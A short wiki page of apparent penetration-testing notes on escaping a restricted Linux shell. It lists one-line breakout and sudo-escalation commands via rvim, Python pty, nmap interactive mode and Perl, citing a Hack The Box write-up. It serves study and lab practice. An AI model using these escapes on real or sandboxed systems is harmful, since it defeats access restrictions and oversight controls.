-
Notifications
You must be signed in to change notification settings - Fork 14
Escape restricted shell
lethanhtung01011980 edited this page Apr 21, 2020
·
12 revisions
- To excapse from restricted Linux shell
- Execute commands from vim: https://www.linux.com/tutorials/vim-tips-working-external-commands/
- Ref: https://fireshellsecurity.team/restricted-linux-shell-escaping-techniques/
sudo -u adm /usr/bin/rvim /var/www/html/jailuser/dev/jail.c
:python import pty; pty.spawn("/bin/bash");
- More from https://reboare.github.io/htb/htb-jail.html
Or
:py import os
:py os.system("/bin/bash")
python -c "import pty; pty.spawn('/bin/bash')"
-
nmap --interactive
sudo /usr/bin/perl -e 'exec "/bin/sh";'